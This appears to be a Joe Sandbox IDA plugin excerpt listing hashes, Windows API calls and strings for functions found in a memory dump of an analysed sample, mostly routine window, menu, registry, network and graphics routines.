Opcode ID: 7a4004d4b2ed3360db04da4aa590d98bfa63b421adffc2e5d13f5696b96eabc8
Instruction ID: 89486c85f32388680e60e7d199b7df89a84323dda6c298e18f43adbbd4277b22
Opcode Fuzzy Hash: 7a4004d4b2ed3360db04da4aa590d98bfa63b421adffc2e5d13f5696b96eabc8
Instruction Fuzzy Hash: 1CB1F0316083229BC710DF28E890A6BB7E5EFE5724F90891EF196C7391D738D885CA56

Function 00446CD9 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,?), ref: 00446DEB

Part of subcall function 003B6B57: _wcslen.LIBCMT ref: 003B6B6A

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00446E5F
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00446E81
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00446E94
DestroyWindow.USER32(?), ref: 00446EB5
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,003B0000,00000000), ref: 00446EE4
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00446EFD
GetDesktopWindow.USER32 ref: 00446F16
GetWindowRect.USER32(00000000), ref: 00446F1D
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00446F35
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00446F4D

Part of subcall function 003C9944: GetWindowLongW.USER32(?,000000EB), ref: 003C9952

Strings

8Y, xrefs: 00446D0F, 00446DCF, 00446DF1, 00446E04
tooltips_class32, xrefs: 00446E58, 00446EDD
0, xrefs: 00446D98

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$8Y$tooltips_class32
API String ID: 2429346358-2223068381
Opcode ID: aefe765eb1486e0bcd4934e6867c32eefcdbd2e647e0144eb8cc8e9057a6739b
Instruction ID: 39bdb7de4287c8100972b5f1fbd69e19b63485c9103aeea6f0034b82bacdab51
Opcode Fuzzy Hash: aefe765eb1486e0bcd4934e6867c32eefcdbd2e647e0144eb8cc8e9057a6739b
Instruction Fuzzy Hash: 48715F74104344AFEB21CF18D854FAB7BE9FB8A304F15442EF59987261C774A90ACB1A

Function 003EDA5D Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 003EDAA1

Part of subcall function 003ED63C: _free.LIBCMT ref: 003ED659
Part of subcall function 003ED63C: _free.LIBCMT ref: 003ED66B
Part of subcall function 003ED63C: _free.LIBCMT ref: 003ED67D
Part of subcall function 003ED63C: _free.LIBCMT ref: 003ED68F
Part of subcall function 003ED63C: _free.LIBCMT ref: 003ED6A1
Part of subcall function 003ED63C: _free.LIBCMT ref: 003ED6B3
Part of subcall function 003ED63C: _free.LIBCMT ref: 003ED6C5
Part of subcall function 003ED63C: _free.LIBCMT ref: 003ED6D7
Part of subcall function 003ED63C: _free.LIBCMT ref: 003ED6E9
Part of subcall function 003ED63C: _free.LIBCMT ref: 003ED6FB
Part of subcall function 003ED63C: _free.LIBCMT ref: 003ED70D
Part of subcall function 003ED63C: _free.LIBCMT ref: 003ED71F
Part of subcall function 003ED63C: _free.LIBCMT ref: 003ED731

_free.LIBCMT ref: 003EDA96

Part of subcall function 003E29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,003ED7D1,00000000,00000000,00000000,00000000,?,003ED7F8,00000000,00000007,00000000,?,003EDBF5,00000000), ref: 003E29DE
Part of subcall function 003E29C8: GetLastError.KERNEL32(00000000,?,003ED7D1,00000000,00000000,00000000,00000000,?,003ED7F8,00000000,00000007,00000000,?,003EDBF5,00000000,00000000), ref: 003E29F0

_free.LIBCMT ref: 003EDAB8
_free.LIBCMT ref: 003EDACD
_free.LIBCMT ref: 003EDAD8
_free.LIBCMT ref: 003EDAFA
_free.LIBCMT ref: 003EDB0D
_free.LIBCMT ref: 003EDB1B
_free.LIBCMT ref: 003EDB26
_free.LIBCMT ref: 003EDB5E
_free.LIBCMT ref: 003EDB65
_free.LIBCMT ref: 003EDB82
_free.LIBCMT ref: 003EDB9A

Strings

8+, xrefs: 003EDA62

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: 8+
API String ID: 161543041-1416873662
Opcode ID: dfe2c66552ff8a66f47ea04dbc537829d669105159cede4358d4b62083e33d3f
Instruction ID: f94065acbd2c925ef3999e71976fdba980bcf8789b84b95fab7f897bf12d7856
Opcode Fuzzy Hash: dfe2c66552ff8a66f47ea04dbc537829d669105159cede4358d4b62083e33d3f
Instruction Fuzzy Hash: C5316F316043A99FDB23AA3AD846B5B77E9FF01310F125629F458DB1D2EF35AD508720

Function 00433FE9 Relevance: 23.2, APIs: 11, Strings: 2, Instructions: 478libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,0044CC08), ref: 004340BB
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 004340CD
GetModuleFileNameW.KERNEL32(?,?,00000104,?,?,?,0044CC08), ref: 004340F2
FreeLibrary.KERNEL32(00000000,?,0044CC08), ref: 0043413E
StringFromGUID2.OLE32(?,?,00000028,?,0044CC08), ref: 004341A8
SysFreeString.OLEAUT32(00000009), ref: 00434262
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 004342C8
SysFreeString.OLEAUT32(?), ref: 004342F2

Strings

kernel32.dll, xrefs: 004340B6
GetModuleHandleExW, xrefs: 004340C7

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: FreeString$Library$AddressFileFromLoadModuleNamePathProcQueryType
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 354098117-199464113
Opcode ID: b9b11bb267a7f43f797b54ae4ca74c3d7fdf9bad48717772ff73d2fe17138570
Instruction ID: b4c2ee0f46b11bdabfd7e87ce34c2c1ed0ccdaea1a53a4ee51caca63f514816c
Opcode Fuzzy Hash: b9b11bb267a7f43f797b54ae4ca74c3d7fdf9bad48717772ff73d2fe17138570
Instruction Fuzzy Hash: FF124B75A00115EFDB14CF94C884EAEBBB5FF89318F24809AE905AB251D735FD42CBA4

Function 003B326F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(00481990), ref: 003F2F8D
GetMenuItemCount.USER32(00481990), ref: 003F303D
GetCursorPos.USER32(?), ref: 003F3081
SetForegroundWindow.USER32(00000000), ref: 003F308A
TrackPopupMenuEx.USER32(00481990,00000000,?,00000000,00000000,00000000), ref: 003F309D
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 003F30A9

Strings

0, xrefs: 003B327D

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
String ID: 0
API String ID: 36266755-4108050209
Opcode ID: 3169db7144071f73413e5f080c3ed89dfa6c27a3a883c80f33e1c1318111f5bd
Instruction ID: 720d702772d5ea5a0605752d860673988f524fd7c9331e4c1e83e0930eaa79c3
Opcode Fuzzy Hash: 3169db7144071f73413e5f080c3ed89dfa6c27a3a883c80f33e1c1318111f5bd
Instruction Fuzzy Hash: 4F711870644219BEFB228F25CC89FEABF68FF01324F244216F7156A5E0C7B1A950DB90

Function 003C8BCD Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 168timeCOMMON

Download Yara Rule

APIs

Part of subcall function 003C8F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,003C8BE8,?,00000000,?,?,?,?,003C8BBA,00000000,?), ref: 003C8FC5

DestroyWindow.USER32(?), ref: 003C8C81
KillTimer.USER32(00000000,?,?,?,?,003C8BBA,00000000,?), ref: 003C8D1B
DestroyAcceleratorTable.USER32(00000000), ref: 00406973
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,003C8BBA,00000000,?), ref: 004069A1
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,003C8BBA,00000000,?), ref: 004069B8
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,003C8BBA,00000000), ref: 004069D4
DeleteObject.GDI32(00000000), ref: 004069E6

Strings

8Y, xrefs: 003C8C06

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID: 8Y
API String ID: 641708696-2504371881
Opcode ID: f7893e6ecc156539d6cad273d5b7c9c656d1f78047db88f992189466d630d67b
Instruction ID: bd2fea2927d2fc392ecdb67dafcfffc1eee3d09c5e8e692e03b8e7a3cbd8c871
Opcode Fuzzy Hash: f7893e6ecc156539d6cad273d5b7c9c656d1f78047db88f992189466d630d67b
Instruction Fuzzy Hash: 11618071102600DFDB269F14D948B2AB7B5FB41312F15893EE0439AAB0CB39AE91DF58

Function 0042C476 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0042C4B0
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 0042C4C3
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 0042C4D7
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0042C4F0
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 0042C533
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 0042C549
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0042C554
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0042C584
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 0042C5DC
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 0042C5F0
InternetCloseHandle.WININET(00000000), ref: 0042C5FB

Strings

, xrefs: 0042C575

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: 27eca9588c627dee56ad8c426ee2b103d3aef27090cd621e8acea2d018b89273
Instruction ID: 2ea71def38b13e99ae5423947726de92950d1ed4154f0bb23ba2ac44f0a2b896
Opcode Fuzzy Hash: 27eca9588c627dee56ad8c426ee2b103d3aef27090cd621e8acea2d018b89273
Instruction Fuzzy Hash: 2C519CB4600625BFDB218F60D9C8AAF7BFCFF09344F44442AF945D6210DB78E9449B68

Function 003C9838 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 003C9944: GetWindowLongW.USER32(?,000000EB), ref: 003C9952

GetSysColor.USER32(0000000F), ref: 003C9862

Strings

8Y, xrefs: 003C987C

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ColorLongWindow
String ID: 8Y
API String ID: 259745315-2504371881
Opcode ID: 1d5d6076a8ae62d42bdd63654d82e11d99144c0ecfa87f025269f3f89e62e8d6
Instruction ID: b1bfacbc87eaab2c79f8ca0652205627b4b8821e176b4fb900dd2e864aae4590
Opcode Fuzzy Hash: 1d5d6076a8ae62d42bdd63654d82e11d99144c0ecfa87f025269f3f89e62e8d6
Instruction Fuzzy Hash: 7E41D635501750AFDB215F389C88FBA37A5AB07331F1A462AF9A2D72E2C7309D42DB15

Function 0044856F Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00000000,?,000000EC), ref: 00448592
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 004485A2
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 004485AD
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 004485BA
GlobalLock.KERNEL32(00000000), ref: 004485C8
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 004485D7
GlobalUnlock.KERNEL32(00000000), ref: 004485E0
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 004485E7
CreateStreamOnHGlobal.OLE32(00000000,00000001,000000F0,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 004485F8
OleLoadPicture.OLEAUT32(000000F0,00000000,00000000,0044FC38,?), ref: 00448611
GlobalFree.KERNEL32(00000000), ref: 00448621
GetObjectW.GDI32(?,00000018,?), ref: 00448641
CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 00448671
DeleteObject.GDI32(?), ref: 00448699
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 004486AF

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: f60bc7e267d556694d3ce3eb84bb416a5e872f45d4596b0e7db89f94d923ffc6
Instruction ID: 7d140f1140c9188c682c7661c6fb3880d376ab7319c7985322560c97ee6d7ca6
Opcode Fuzzy Hash: f60bc7e267d556694d3ce3eb84bb416a5e872f45d4596b0e7db89f94d923ffc6
Instruction Fuzzy Hash: 9C412B75601208BFEB519FA5CC88EAF7BB8FF8A711F144069F905E7260DB749901CB24

Function 004214BD Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 360timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00421502
VariantCopy.OLEAUT32(?,?), ref: 0042150B
VariantClear.OLEAUT32(?), ref: 00421517
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 004215FB
VarR8FromDec.OLEAUT32(?,?), ref: 00421657
VariantInit.OLEAUT32(?), ref: 00421708
SysFreeString.OLEAUT32(?), ref: 0042178C
VariantClear.OLEAUT32(?), ref: 004217D8
VariantClear.OLEAUT32(?), ref: 004217E7
VariantInit.OLEAUT32(00000000), ref: 00421823

Strings

Default, xrefs: 004216AF
%4d%02d%02d%02d%02d%02d, xrefs: 00421625

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 1234038744-3931177956
Opcode ID: 724c8977f7d203432582baba9f6e5faf19af0319454344b80b83d4efb2817e80
Instruction ID: 7ef51ebbe2a02ffffcfb3971c85d524c302749e535379336521d23420366146a
Opcode Fuzzy Hash: 724c8977f7d203432582baba9f6e5faf19af0319454344b80b83d4efb2817e80
Instruction Fuzzy Hash: 09D10231700525EBDB109F65E885BB9F7B1BF55700F94809BF406AB2A0DB38DC82DB66

Function 0043B60E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 003B9CB3: _wcslen.LIBCMT ref: 003B9CBD

Part of subcall function 0043C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0043B6AE,?,?), ref: 0043C9B5
Part of subcall function 0043C998: _wcslen.LIBCMT ref: 0043C9F1
Part of subcall function 0043C998: _wcslen.LIBCMT ref: 0043CA68
Part of subcall function 0043C998: _wcslen.LIBCMT ref: 0043CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0043B6F4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0043B772
RegDeleteValueW.ADVAPI32(?,?), ref: 0043B80A
RegCloseKey.ADVAPI32(?), ref: 0043B87E
RegCloseKey.ADVAPI32(?), ref: 0043B89C
LoadLibraryA.KERNEL32(advapi32.dll), ref: 0043B8F2
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 0043B904
RegDeleteKeyW.ADVAPI32(?,?), ref: 0043B922
FreeLibrary.KERNEL32(00000000), ref: 0043B983
RegCloseKey.ADVAPI32(00000000), ref: 0043B994

Strings

RegDeleteKeyExW, xrefs: 0043B8FE
advapi32.dll, xrefs: 0043B8ED

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 146587525-4033151799
Opcode ID: 905cb38186b4886fb3e6fc6abc20516b540d7e33c025abd112ba6e7307fc840e
Instruction ID: d80ce6f621b271f687dd4637beb08d80e3933b1c58bd50d8dd338968e9883bf8
Opcode Fuzzy Hash: 905cb38186b4886fb3e6fc6abc20516b540d7e33c025abd112ba6e7307fc840e
Instruction Fuzzy Hash: 6DC1AD34204201AFC715DF14C495F6ABBE5EF88308F18949DF6998B7A2CB35E845CB85

Function 00448D0E Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221windowCOMMON

Download Yara Rule

APIs

Part of subcall function 003C9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 003C9BB2

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00448D5A
GetFocus.USER32 ref: 00448D6A
GetDlgCtrlID.USER32(00000000), ref: 00448D75
DefDlgProcW.USER32(?,00000111,?,?,00000000,?,?,?,?,?,?,?), ref: 00448E1D
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00448ECF
GetMenuItemCount.USER32(?), ref: 00448EEC
GetMenuItemID.USER32(?,00000000), ref: 00448EFC
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00448F2E
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00448F70
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00448FA1

Strings

8Y, xrefs: 00448E63, 00448E85
0, xrefs: 00448E9F

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow
String ID: 0$8Y
API String ID: 1026556194-4199900344
Opcode ID: 6e08721cefbb31696583ce660adbf029412017bb82ab3e96eb5f061cb3852b24
Instruction ID: aafffeefec5571991ffdb331ea4d8a18420bd27c80e85108938e88b77a9a8e81
Opcode Fuzzy Hash: 6e08721cefbb31696583ce660adbf029412017bb82ab3e96eb5f061cb3852b24
Instruction Fuzzy Hash: 0381BE71508311AFE710CF24D884AAFBBE9FB89714F14092EF984D7291DB34D905CBAA

Function 0044541D Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00445504
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00445515
CharNextW.USER32(00000158), ref: 00445544
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00445585
SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 0044559B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004455AC

Strings

8Y, xrefs: 0044545F

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSend$CharNext
String ID: 8Y
API String ID: 1350042424-2504371881
Opcode ID: 48a6d529aaf9e97b68dd0e7db931d7401a2953f2cc6888fbc0c549de42ea5b99
Instruction ID: 1c3df5485b32a8d0c752c238e4b1c28e0a30032f0fe7246462d870cd95f1900c
Opcode Fuzzy Hash: 48a6d529aaf9e97b68dd0e7db931d7401a2953f2cc6888fbc0c549de42ea5b99
Instruction Fuzzy Hash: EC61C374904608FFEF10DF50CC85AFF7B79EB06321F148156F9259A292D7388A81DB69

Function 0043255C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 004325D8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 004325E8
CreateCompatibleDC.GDI32(?), ref: 004325F4
SelectObject.GDI32(00000000,?), ref: 00432601
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 0043266D
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 004326AC
GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 004326D0
SelectObject.GDI32(?,?), ref: 004326D8
DeleteObject.GDI32(?), ref: 004326E1
DeleteDC.GDI32(?), ref: 004326E8
ReleaseDC.USER32(00000000,?), ref: 004326F3

Strings

(, xrefs: 0043268D

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

